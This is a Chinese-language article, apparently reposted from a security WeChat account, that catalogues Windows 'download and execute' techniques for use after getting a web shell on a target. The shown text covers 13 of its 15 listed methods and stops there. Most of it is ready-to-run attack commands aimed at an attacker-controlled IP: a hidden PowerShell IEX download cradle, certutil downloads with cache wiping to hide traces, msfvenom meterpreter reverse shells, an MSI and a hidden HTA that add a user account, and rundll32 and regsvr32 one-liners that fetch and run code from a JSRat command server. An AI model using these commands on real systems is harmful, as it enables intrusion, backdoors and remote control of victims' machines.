Windows文件下載執(zhí)行的15種姿勢
本文轉(zhuǎn)載自微信公眾號「Bypass」,轉(zhuǎn)載本文請聯(lián)系Bypass公眾號。
當(dāng)我們通過Web滲透獲取了一個(gè)Shell,而且目標(biāo)主機(jī)是Windows,我們該怎么去下載后門文件到目標(biāo)主機(jī)上執(zhí)行呢?
一般來說,實(shí)現(xiàn)Windows文件下載執(zhí)行的方式不外乎以下幾種方式。第一種,遠(yuǎn)程下載文件到本地,然后再執(zhí)行;第二種,遠(yuǎn)程下載執(zhí)行,執(zhí)行過程沒有二進(jìn)制文件落地,這種方式已然成為后門文件下載執(zhí)行的首要方式。另外呢,只要你所在服務(wù)器的環(huán)境支持,你也可以通過任何一門語言來實(shí)現(xiàn)它,這種方式暫不在本文的討論范圍之內(nèi)。
在這里,本文收集了15種常見的文件下載執(zhí)行的方式,并結(jié)合具體案例,讓我們一起來看看是怎么實(shí)現(xiàn)的吧。
- PowerShell
- Bitsadmin
- certutil
- wget
- ipc$文件共享
- FTP
- TFTP
- WinScp
- msiexec
- IEExec
- mshta
- rundll32
- regsvr32
- MSXSL.EXE
- pubprn.vbs
1、PowerShell
PowerShell是一種命令行外殼程序和腳本環(huán)境,使命令行用戶和腳本編寫者可以利用。
遠(yuǎn)程下載文件保存在本地:
- powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
遠(yuǎn)程執(zhí)行命令:
- powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
2、Bitsadmin
bitsadmin是一個(gè)命令行工具,可用于創(chuàng)建下載或上傳工作和監(jiān)測其進(jìn)展情況。
- bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
輸入以上命令,成功下載文件。
3、certutil
用于備份證書服務(wù),支持xp-win10都支持。由于certutil下載文件都會留下緩存,所以一般都建議下載完文件后對緩存進(jìn)行刪除。
注:緩存目錄為:
- ”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”
- #下載文件
- certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
- #刪除緩存
- certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
4、wget
Windows環(huán)境下,可上傳免安裝的可執(zhí)行程序wget.exe到目標(biāo)機(jī)器,使用wget下載文件。
wget.exe下載:https://eternallybored.org/misc/wget/
- wget -O "evil.txt" http://192.168.28.128/imag/evil.txt
5、ipc$文件共享
IPC$(Internet Process Connection)是共享”命名管道”的資源,它是為了讓進(jìn)程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道并以此通道進(jìn)行加密數(shù)據(jù)的交換,從而實(shí)現(xiàn)對遠(yuǎn)程計(jì)算機(jī)的訪問。
- #建立遠(yuǎn)程IPC連接
- net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
- #復(fù)制遠(yuǎn)程文件到本地主機(jī)
- copy \\192.168.28.128\c$\2.txt D:\test
6、FTP
一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個(gè) bash腳本,考慮到了交互的情況,可以直接執(zhí)行并不會產(chǎn)生交互動(dòng)作。
- ftp 127.0.0.1
- username
- password
- get file
- exit
7、TFTP
用來下載遠(yuǎn)程文件的最簡單的網(wǎng)絡(luò)協(xié)議,它基于UDP協(xié)議而實(shí)現(xiàn)
tftp32服務(wù)端下載地址:http://tftpd32.jounin.net/tftpd32_download.html
- tftp -i 你的IP get 要下載文件 存放位置
8、WinScp
WinSCP是一個(gè)Windows環(huán)境下使用SSH的開源圖形化SFTP客戶端。
- #上傳
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt
- #下載
- winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx
使用winscp.exe 作為命令行參數(shù)執(zhí)行遠(yuǎn)程上傳/下載操作。
9、msiexec
msiexec 支持遠(yuǎn)程下載功能,將msi文件上傳到服務(wù)器,通過如下命令遠(yuǎn)程執(zhí)行:
- #生成msi包
- msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
- #遠(yuǎn)程執(zhí)行
- msiexec /q /i http://192.168.28.128/evil.msi
成功添加了一個(gè)test用戶:
10、IEExec
IEexec.exe應(yīng)用程序是.NET Framework附帶程序,存在于多個(gè)系統(tǒng)白名單內(nèi)。
生成Payload:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
使用管理員身份打開cmd,分別運(yùn)行下面兩條命令。
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
- C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
11、mshta
mshta用于執(zhí)行.hta文件,而hta是HTML Applocation 的縮寫,也就是HTML應(yīng)用程序。而hta中也支持VBS。所以我們可以利用hta來下載文件。
- mshta http://192.168.28.128/run.hta
run.hta內(nèi)容如下:
- <HTML>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
- <HEAD>
- <script language="VBScript">
- Window.ReSizeTo 0, 0
- Window.moveTo -2000,-2000
- Set objShell = CreateObject("Wscript.Shell")
- objShell.Run "cmd.exe /c net user test password /add" // 這里填寫命令
- self.close
- </script>
- <body>
- demo
- </body>
- </HEAD>
- </HTML>
12、rundll32
其實(shí)還是依賴于WScript.shell這個(gè)組件,在這里我們使用JSRat來做演示,JSRat是一個(gè)命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序。
項(xiàng)目地址:
- https://github.com/Hood3dRob1n/JSRat-Py.git
步驟一:開始運(yùn)行JSRat,監(jiān)聽本地8888端口。
步驟二:通過url訪問,可以查看惡意代碼。
復(fù)制代碼如下:
- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
步驟三:在受害者PC運(yùn)行該代碼,將成功返回一個(gè)會話,如下圖所示:
13、regsvr32
Regsvr32命令用于注冊COM組件,是Windows系統(tǒng)提供的用來向系統(tǒng)注冊控件或者卸載控件的命令,以命令行方式運(yùn)行
在目標(biāo)機(jī)上執(zhí)行:
- regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
可以通過自己構(gòu)造.sct文件,去下載執(zhí)行我們的程序
- <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="ShortJSRAT"
- classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
- <script language="JScript">
- <![CDATA[
- ps = "cmd.exe /c calc.exe";
- new ActiveXObject("WScript.Shell").Run(ps,0,true);
- ]]>
- </script>
- </registration>
- </scriptlet>